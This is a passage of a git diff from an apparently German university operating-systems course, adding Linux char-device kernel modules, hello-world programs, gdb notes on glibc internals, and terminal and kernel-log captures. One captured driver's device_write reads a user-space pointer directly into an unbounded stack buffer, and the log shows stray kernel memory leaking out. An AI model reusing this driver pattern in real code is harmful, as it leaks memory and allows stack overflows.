+#include <asm/uaccess.h>	/* for put_user */
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+struct class *dev_Class;
+struct device *chr_dev;
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+        // Create module class
+        printk(KERN_INFO "Creating device class LCD...\n");
+        dev_Class = class_create(THIS_MODULE,DEVICE_NAME);
+        if( dev_Class == NULL)
+        {
+            printk( KERN_ALERT "Error! Class couldn't be created!\n" );
+            return 1 ;
+        }
+        printk( KERN_INFO "Class created!\n" );
+        // Create device in /dev/...
+        printk(KERN_INFO "Creating device\n");
+        chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME);
+
+	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
+	printk(KERN_INFO "the driver, create a dev file with\n");
+	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
+	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
+	printk(KERN_INFO "the device file.\n");
+	printk(KERN_INFO "Remove the device file and module when done.\n");
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+	/* 
+	 * Unregister the device 
+	 */
+	unregister_chrdev(Major, DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
+	return -EINVAL;
+}
diff --git a/20210507/chardev-3.c b/20210507/chardev-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..516a074f806e3f600009b39ca912bf5ab69e3989
--- /dev/null
+++ b/20210507/chardev-3.c
@@ -0,0 +1,198 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/device.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+MODULE_LICENSE("GPL");
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+struct class *dev_Class;
+struct device *chr_dev;
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+        // Create module class
+        printk (KERN_INFO "Creating device class \"chardev\" ...\n");
+        dev_Class = class_create (THIS_MODULE,DEVICE_NAME);
+        if( dev_Class == NULL)
+        {
+            printk (KERN_ALERT "Error! Class couldn't be created!\n");
+            return 1;
+        }
+        printk (KERN_INFO "Class created!\n");
+        // Create device in /dev/...
+        printk (KERN_INFO "Creating device\n");
+        chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME);
+        if (chr_dev == NULL)
+        {
+            printk( KERN_ALERT "Error! Device couldn't be created!\n" );
+            return 1 ;
+        }
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+        printk(KERN_INFO "module chardev-4 cleanup\n");
+        //Unregister the device
+        if (chr_dev)
+          {
+            printk(KERN_INFO "Unregister device ...\n");
+            device_unregister(chr_dev);
+            printk(KERN_INFO "OK\n");
+          }
+
+        if (dev_Class)
+          {
+            printk(KERN_INFO "Unregister class ...\n");
+            class_unregister(dev_Class);
+            printk(KERN_INFO "OK\n");
+          }
+
+        printk(KERN_INFO "Unregister Chardev ...\n");
+        unregister_chrdev(Major, DEVICE_NAME);
+        printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
+	return -EINVAL;
+}
diff --git a/20210507/hello-1.c b/20210507/hello-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210507/hello-1.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210507/hello-1.s b/20210507/hello-1.s
new file mode 100644
index 0000000000000000000000000000000000000000..74d6a369cdbf391e6c0045d41640db9b020d3935
--- /dev/null
+++ b/20210507/hello-1.s
@@ -0,0 +1,24 @@
+	.file	"hello-1.c"
+	.text
+	.section	.rodata.str1.1,"aMS",@progbits,1
+.LC0:
+	.string	"Hello, world!"
+	.text
+	.globl	main
+	.type	main, @function
+main:
+.LFB11:
+	.cfi_startproc                     # #include <stdio.h>
+	subq	$8, %rsp                   # 
+	.cfi_def_cfa_offset 16             # int main (void)
+	leaq	.LC0(%rip), %rdi           # {
+	call	puts@PLT                   #   printf ("Hello, world!\n");
+	movl	$0, %eax                   #   return 0;
+	addq	$8, %rsp                   # }
+	.cfi_def_cfa_offset 8
+	ret
+	.cfi_endproc
+.LFE11:
+	.size	main, .-main
+	.ident	"GCC: (Debian 8.3.0-6) 8.3.0"
+	.section	.note.GNU-stack,"",@progbits
diff --git a/20210507/hello-2.c b/20210507/hello-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..b767f77cd3a7328e5f45b60e674d32a647386509
--- /dev/null
+++ b/20210507/hello-2.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  puts ("Hello, world!");
+  return 0;
+}
diff --git a/20210507/hello-2.s b/20210507/hello-2.s
new file mode 100644
index 0000000000000000000000000000000000000000..272bf70d0e982b55523ac1b7ff767b6a6b4e36ac
--- /dev/null
+++ b/20210507/hello-2.s
@@ -0,0 +1,24 @@
+	.file	"hello-2.c"
+	.text
+	.section	.rodata.str1.1,"aMS",@progbits,1
+.LC0:
+	.string	"Hello, world!"
+	.text
+	.globl	main
+	.type	main, @function
+main:
+.LFB11:
+	.cfi_startproc
+	subq	$8, %rsp
+	.cfi_def_cfa_offset 16
+	leaq	.LC0(%rip), %rdi
+	call	puts@PLT
+	movl	$0, %eax
+	addq	$8, %rsp
+	.cfi_def_cfa_offset 8
+	ret
+	.cfi_endproc
+.LFE11:
+	.size	main, .-main
+	.ident	"GCC: (Debian 8.3.0-6) 8.3.0"
+	.section	.note.GNU-stack,"",@progbits
diff --git a/20210507/hello-3.c b/20210507/hello-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8
--- /dev/null
+++ b/20210507/hello-3.c
@@ -0,0 +1,12 @@
+extern int puts (char *s);
+
+void printf (void)
+{
+  puts ("Hello, world!");
+}
+
+int main (void)
+{
+  printf ();
+  return 0;
+}
diff --git a/20210507/modules-5.txt b/20210507/modules-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c35d087df67701dfa512ab1d9a1f98a80baa519b
--- /dev/null
+++ b/20210507/modules-5.txt
@@ -0,0 +1,8 @@
+cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
+cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
+cassini/home/peter/bo/2021ss/bs/20210430> ls -l dev/chardev
+crw-rw-rw- 1 root root 241, 0 Apr 30 15:14 dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210430> sudo cat dev/chardev
+cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
+cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210507/modules-6.txt b/20210507/modules-6.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e96c84006288c46e2ff5ee3b397a81b4db94d374
--- /dev/null
+++ b/20210507/modules-6.txt
@@ -0,0 +1,40 @@
+cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1a.ko
+cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev
+chardev_1a             16384  0
+cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
+I already told you 0 times Hello world!
+cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
+I already told you 1 times Hello world!
+cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210430>
+
+
+Inhalt von /var/log/kern.log:
+
+May  7 12:57:21 cassini kernel: [1601195.178390] I was assigned major number 241. To talk to
+May  7 12:57:21 cassini kernel: [1601195.178391] the driver, create a dev file with
+May  7 12:57:21 cassini kernel: [1601195.178392] 'mknod /dev/chardev c 241 0'.
+May  7 12:57:21 cassini kernel: [1601195.178392] Try various minor numbers. Try to cat and echo to
+May  7 12:57:21 cassini kernel: [1601195.178392] the device file.
+May  7 12:57:21 cassini kernel: [1601195.178393] Remove the device file and module when done.
+May  7 12:57:40 cassini kernel: [1601214.177086] Got user data: Dies ist ein Test.
+May  7 12:57:40 cassini kernel: [1601214.177086] ss/bs/20210430
+May  7 12:57:40 cassini kernel: [1601214.177086] indow -P openmeetings https://www.cvh-server.de/vnc/ &
+May  7 12:57:40 cassini kernel: [1601214.177086]        return
+May  7 12:57:40 cassini kernel: [1601214.177086]         ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]     esac;
+May  7 12:57:40 cassini kernel: [1601214.177086]     local complete_opt="--others --modified --directory --no-empty-directory";
+May  7 12:57:40 cassini kernel: [1601214.177086]     if test -n "$(__git_find_on_cmdline "-u --update")"; then
+May  7 12:57:40 cassini kernel: [1601214.177086]         complete_opt="--modified";
+May  7 12:57:40 cassini kernel: [1601214.177086]     fi;
+May  7 12:57:40 cassini kernel: [1601214.177086]     __git_complete_index_file "$complete_opt"
+May  7 12:57:40 cassini kernel: [1601214.177086]                 exclude=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]             p)
+May  7 12:57:40 cassini kernel: [1601214.177086]                 vprev=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]             w)
+May  7 12:57:40 cassini kernel: [1601214.177086]                 vwords=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]         esac;
+May  7 12:57:40 cassini kernel: [1601214.177086]     done;
diff --git a/20210507/modules-7.txt b/20210507/modules-7.txt
new file mode 100644
index 0000000000000000000000000000000000000000..43d30622349766288b101f6a13e2748073e60e93
--- /dev/null
+++ b/20210507/modules-7.txt
@@ -0,0 +1,37 @@
+cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1b.ko
+cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev
+cassini/home/peter/bo/2021ss/bs/20210430> sudo tail -22 /var/log/kern.log
+May  7 12:57:40 cassini kernel: [1601214.177086]     if test -n "$(__git_find_on_cmdline "-u --update")"; then
+May  7 12:57:40 cassini kernel: [1601214.177086]         complete_opt="--modified";
+May  7 12:57:40 cassini kernel: [1601214.177086]     fi;
+May  7 12:57:40 cassini kernel: [1601214.177086]     __git_complete_index_file "$complete_opt"
+May  7 12:57:40 cassini kernel: [1601214.177086]                 exclude=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]             p)
+May  7 12:57:40 cassini kernel: [1601214.177086]                 vprev=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]             w)
+May  7 12:57:40 cassini kernel: [1601214.177086]                 vwords=$OPTARG
+May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
+May  7 12:57:40 cassini kernel: [1601214.177086]         esac;
+May  7 12:57:40 cassini kernel: [1601214.177086]     done;
+May  7 13:07:49 cassini kernel: [1601823.599104] I was assigned major number 241. To talk to
+May  7 13:07:49 cassini kernel: [1601823.599106] the driver, create a dev file with
+May  7 13:07:49 cassini kernel: [1601823.599108] 'mknod /dev/chardev c 241 0'.
+May  7 13:07:49 cassini kernel: [1601823.599108] Try various minor numbers. Try to cat and echo to
+May  7 13:07:49 cassini kernel: [1601823.599109] the device file.
+May  7 13:07:49 cassini kernel: [1601823.599109] Remove the device file and module when done.
+May  7 13:07:58 cassini kernel: [1601832.651791] Got user data: Dies ist ein Test.
+May  7 13:07:58 cassini kernel: [1601832.651791] .
+cassini/home/peter/bo/2021ss/bs/20210430> tail chardev-1b.c
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+        char b[len + 1];
+        strncpy (b, buff, len);
+        b[len] = 0;
+        printk(KERN_INFO "Got user data: %s.\n", b);
+        return len;
+}
+cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210507/os-layers-1.jpg b/20210507/os-layers-1.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..6dc99e9e12dbc84e908c37974c7d528be014d587
--- /dev/null
+++ b/20210507/os-layers-1.jpg
@@ -0,0 +1 @@
+../common/os-layers-1.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-2.jpg b/20210507/os-layers-2.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..4da385ea396af0f9c7ed79b23a183a3b5618b445
--- /dev/null
+++ b/20210507/os-layers-2.jpg
@@ -0,0 +1 @@
+../common/os-layers-2.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-3.jpg b/20210507/os-layers-3.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..eaf5b599709e39d1c51dfdac28843c31b3fa971c
--- /dev/null
+++ b/20210507/os-layers-3.jpg
@@ -0,0 +1 @@
+../common/os-layers-3.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-4.jpg b/20210507/os-layers-4.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..efcbbd1827ff55f225fee0b77b8bfb5c6cff980c
--- /dev/null
+++ b/20210507/os-layers-4.jpg
@@ -0,0 +1 @@
+../common/os-layers-4.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-5.jpg b/20210507/os-layers-5.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..91cabe9241f19ece833cb22e8f16587153f246a2
--- /dev/null
+++ b/20210507/os-layers-5.jpg
@@ -0,0 +1 @@
+../common/os-layers-5.jpg
\ No newline at end of file
diff --git a/20210514/bs-20210514.txt b/20210514/bs-20210514.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c11bfa49d1a3347fa18970cb973512926af2c5a5
--- /dev/null
+++ b/20210514/bs-20210514.txt
@@ -0,0 +1,130 @@
+Projektideen, 14.05.2021, 11:39:44
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Janus WebRTC
+    - Warum brach am 10.5.2021 die Bildübertragung per Janus
+      bei ca. 130 Teilnehmenden zusammen?
+    - Was kann man dagegen tun?
+    - Zum Testen: Pool-Rechner
+
+ * Streaming
+    - Problem: WebRTC (Echtzeit) überlastet die Server.
+    - Mögliche Lösung: Echtzeit-Bildschirm "abfilmen" und streamen
+    - Ziel: Online-Konferenzsystem,
+      bei dem ein Teil des Publikums aktiv teilnehmen kann
+      (in Echtzeit, ca. 50 Teilnehmende)
+      und alle anderen (1000+) per Streaming (mit leichter Verzögerung)
+      zumindest passiv zuschauen und zuhören können
+    - Software: z.B. IceCast
+    - Zum Testen: Pool-Rechner
+
+ * Mumble-Web-Interface
+    - Problem: Das Mumble-Web-Interface überlastet den Server.
+    - Ursache:
+      Der Web-Client spricht nicht direkt mit Mumble,
+      sondern per WebSocket mit seinem Server.
+      Der Server muß dann zwischen dem WebSocket und Mumble vermitteln.
+
+ * VNC-Web-Interface
+    - Problem: Es hat funktioniert, aber es war langsam.
+    - Ursache:
+      Der Web-Client spricht nicht direkt mit VNC,
+      sondern per WebSocket mit seinem Server.
+      Der Server muß dann zwischen dem WebSocket und VNC vermitteln.
+
+ * Mögliche Lösung: effizienteres websockify
+    - Aktuelle Implementierungen: python, node.js
+    - Idee: In C programmieren.
+      https://github.com/mittorn/websockify-c - ohne SSL,
+      aber um SSL kümmert sich ja der Web-Server (Proxy)
+    - Idee: node.js-Version verwenden.
+      node.js ist nur um den Faktor 1.5 langsamer als C, python ca. 10mal
+      https://benchmarksgame-team.pages.debian.net/benchmarksgame/which-programs-are-fastest.html
+
+ * Weitere Lösungsideen
+    - auf mehrere Server verteilen
+    ? TigerVNC: effizienter gestalten: Scroll-Algorithmus
+    ? x11vnc: effizienter gestalten: Scroll-Algorithmus
+    ? noVNC: effizienter gestalten: WebAssembly
+    ? noVNC: effizienter gestalten: Scroll-Algorithmus
+
+Daten zu PULT-Nutzung, 14.05.2021, 11:51:32
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Mumble-Web-Interface: websockify python-3
+  websockify auf main-0: 3% CPU-Last pro Instanz am 10.5.2021
+  websockify auf main-0: 2.5% bis 4.0% CPU-Last pro Instanz am 14.5.2021
+
+VNC-Web-Interface: websockify python-2.7, TigerVNC
+  websockify auf streaming: 1% CPU-Last pro Instanz am 10.5.2021
+  websockify auf streaming: 2.5% CPU-Last pro Instanz am 14.5.2021
+  TigerVNC auf streaming: 50% bis 64% CPU-Last mit 13 Instanzen am 14.5.2021
+  TigerVNC auf streaming: 40% bis 45% CPU-Last mit 7 Instanzen am 14.5.2021
+  TigerVNC auf streaming: 90% bis 97% CPU-Last mit ~120 Instanzen am 14.5.2021
+
+Von der Anwendung bis zum Kernel: libc, 14.05.2021, 14:17:04
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+$ gcc -Wall -O -g3 hello-1.c -o hello-1
+$ gdb -tui ./hello-1
+(gdb) b 5  # setze Breakpoint vor printf()-Aufruf
+(gdb) run
+(gdb) step  # springe in die aufgerufene Funktion hinein
+(gdb) directory libc/glibc-2.28/libio  # Verzeichnis für Quelltext mitteilen
+--> _IO_puts()
+(gdb) next  # 1 Zeile ausführen
+--> _IO_sputn()  # springe in die aufgerufene Funktion hinein
+--> IO_validate_vtable()  # In dieser Funktion landen wir stattdessen.
+--> return vtable;
+--> "Hello, world!\n" erscheint auf dem Bildschirm.
+--> ???
+
+_IO_sputn() ist keine Funktion, sondern ein Präprozessor-Makro,
+der _IO_XSPUTN() aufruft.
+
+_IO_XSPUTN() ist keine Funktion, sondern ein Präprozessor-Makro,
+der JUMP2() aufruft und zusätzlich __xsputn
+als ersten Parameter übergibt.
+
+JUMP2() ist keine Funktion, sondern ein Präprozessor-Makro,
+der die Funktion _IO_JUMPS_FUNC(THIS)->FUNC() aufruft
+und zusätzlich THIS als ersten Parameter übergibt.
+FUNC hat hierbei den Wert __xsputn, und
+THIS hat den Wert FP, also die Datei, hier also stdout.
+
+_IO_JUMPS_FUNC() ist keine Funktion, sondern ein Präprozessor-Makro,
+der ...
+
+# define _IO_JUMPS_FUNC(THIS) \
+  (IO_validate_vtable                                                   \
+   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)       \
+                             + (THIS)->_vtable_offset)))
+
+... prüft, ob die virtuelle Methodentabelle (vtable) in Ordnung ist
+und einen Zeiger darauf zurückliefert.
+Anschließend kann JUMP2() die tatsächliche Funktion __xsputn() aufrufen.
+
+Gesamtergebnis:
+
+_IO_sputn() ist eine virtuelle Methode der Datei.
+THIS hat den Wert der Datei, hier also stdout.
+
+...
+--> return vtable;
+--> _IO_new_file_xsputn()
+# --> _IO_OVERFLOW (f, EOF)
+# --> IO_valudate_vtable()  # Aufruf einer virtuellen Methode
+# --> _IO_new_file_overflow()
+# --> _IO_do_write (f, ...)  # Präprozessor-Makro für ...
+# --> _IO_new_do_write (f, ...)
+_IO_default_xsputn (f, ...)
+--> _IO_OVERFLOW (f, EOF)
+--> IO_valudate_vtable()  # Aufruf einer virtuellen Methode
+--> _IO_new_file_overflow()
+--> _IO_do_write (f, ...)  # Präprozessor-Makro für ...
+--> _IO_new_do_write (f, ...)
+... Schleife ...
+Datei fileops.c, Zeile 791
+--> _IO_new_do_write (f, ...)
+--> new_do_write (f, ...)
+--> _IO_SYSWRITE (fp, ...)
+--> __libc_write()
+Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
+--> return SYSCALL_CANCEL (write, fd, buf, nbytes);
diff --git a/20210514/hello-1.c b/20210514/hello-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210514/hello-1.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210514/hello-2.c b/20210514/hello-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..b767f77cd3a7328e5f45b60e674d32a647386509
--- /dev/null
+++ b/20210514/hello-2.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  puts ("Hello, world!");
+  return 0;
+}
diff --git a/20210514/hello-3.c b/20210514/hello-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8
--- /dev/null
+++ b/20210514/hello-3.c
@@ -0,0 +1,12 @@
+extern int puts (char *s);
+
+void printf (void)
+{
+  puts ("Hello, world!");
+}
+
+int main (void)
+{
+  printf ();
+  return 0;
+}
diff --git a/20210514/verbinde-video-1.txt b/20210514/verbinde-video-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..aa25ed6cbcadb114bdbde3aa6b6b5de580a6bdd0
--- /dev/null
+++ b/20210514/verbinde-video-1.txt
@@ -0,0 +1,30 @@
+streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xwininfo -root -children
+
+xwininfo: Window id: 0x394 (the root window) (has no name)
+
+  Root window id: 0x394 (the root window) (has no name)
+  Parent window id: 0x0 (none)
+     20 children:
+     0x1600088 (has no name): ("ssvncviewer" "Ssvnc")  1920x1080+0+0  +0+0
+     0x12003df "janus-1 Camera 0": ("display-im6.q16" "Display-im6.q16")  480x360+1440+720  +1440+720
+     0x20012a "Xpdf: /home/pult/vnc6/vnc-testbild.pdf": ("win" "Xpdf")  1920x1080+0+0  +0+0
+     0x12009ba "Pan Icon": ("display-im6.q16" "Display-im6.q16")  96x72+960+960  +960+960
+     0x12008c4 "Magnify 3X": ("display-im6.q16" "Display-im6.q16")  256x256+960+960  +960+960
+     0x12007c5 (has no name): ("display-im6.q16" "Display-im6.q16")  1x1+960+960  +960+960
+     0x12006cb (has no name): ("display-im6.q16" "Display-im6.q16")  1x1+960+960  +960+960
+     0x12005d1 "Commands": ("display-im6.q16" "Display-im6.q16")  134x410+960+670  +960+670
+     0x12001f3 (has no name): ("display-im6.q16" "Display-im6.q16")  96x72+960+960  +960+960
+     0x1600081 "chat": ("chat" "Ssvnc")  410x359+0+0  +0+0
+     0x600251 (has no name): ()  1x1+3+2  +3+2
+     0x3a2 (has no name): ()  100x100+0+0  +0+0
+     0x20013f "Xpdf: Print": ("printDialog_popup" "Xpdf")  5x5+0+0  +0+0
+     0x20013e "Xpdf: Find": ("findDialog_popup" "Xpdf")  5x5+0+0  +0+0
+     0x200130 "Xpdf: About": ("aboutDialog_popup" "Xpdf")  450x300+0+0  +0+0
+     0x200116 (has no name): ()  5x5+0+0  +0+0
+     0x20010e "Xpdf: Password": ("passwordDialog_popup" "Xpdf")  5x5+0+0  +0+0
+     0x400001 (has no name): ()  10x10+-100+-100  +-100+-100
+     0x200002 (has no name): ()  1x1+0+0  +0+0
+     0x200001 "xpdf.real": ("xpdf.real" "Xpdf")  1x1+0+0  +0+0
+
+streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xdotool windowraise 0x12003df
+streaming/home/pult/vnc6>
diff --git a/20210521/bs-20210521.txt b/20210521/bs-20210521.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ce1cc9236fe2cdbcbbe0e0fa5e5f9202d19a409d
--- /dev/null
+++ b/20210521/bs-20210521.txt
@@ -0,0 +1,309 @@
+Bedeutung von "%rip", "%rax" usw. 21.05.2021, 12:04:22
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Quellen:
+https://softwareengineering.stackexchange.com/questions/127668/what-does-the-r-in-x64-register-names-stand-for
+https://stackoverflow.com/questions/10995349/what-does-the-r-stand-for-in-rax-rbx-rcx-rdx-rsi-rdi-rbp-rsp
+
